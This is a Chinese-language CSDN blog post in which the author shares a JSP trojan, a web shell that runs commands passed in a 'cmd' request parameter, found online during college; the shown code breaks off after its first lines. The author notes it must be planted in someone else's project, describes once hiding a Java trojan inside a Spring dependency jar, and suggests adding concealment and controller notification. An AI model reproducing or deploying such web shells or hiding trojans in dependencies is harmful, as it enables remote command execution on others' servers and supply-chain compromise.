发一个 JSP 木马

最新推荐文章于 2023-12-25 15:57:33 发布

不要不要乐

最新推荐文章于 2023-12-25 15:57:33 发布

阅读量2.4k

点赞数 1

本文链接：https://blog.csdn.net/qq_44894420/article/details/89452050

版权

这篇博客分享了一段大学时期找到的JSP木马代码，虽然具体使用方法不详，但提及该木马可能需要被部署到目标项目中。作者还提到曾将Java木马隐藏在Spring依赖的jar包里，强调这些行为仅用于自我测试，觉得颇为有趣。

摘要由CSDN通过智能技术生成

发一个大学时期在网上找到的 jsp 木马

怎么用？具体的不太清楚，但肯定要让别人部署到他们的项目中去。

而且，这个仅仅是一个草案。

更加完善的应该包括，隐藏，通知控制端，。。等等

以前写过一个 java 木马，我直接将木马模块给混在 spring 的依赖 jar 包里面了。

当然，我并没有去害过谁，我只是自己测试了一下，觉得蛮有意思的。

废话不多说，上代码：

<!--实现cmd功能的JSP小木马（作者:荔明奇(xgym)）--><%@ page contentType="text/html;charset=gb2312"%><!--编码方式为gb2312（中文），否则会出现中文显示为乱码的情况--><%@ page import="java.io.*"%><!--引入java.io.*包文件，因为我们需要StringBuffer之类的I/O操作--><% //定义一个字符串变量strCmd_in，且这个变量是从cmd对象中获取到的值；request是JSP中内置的对象，用来获取对象的值。 String strCmd_in = request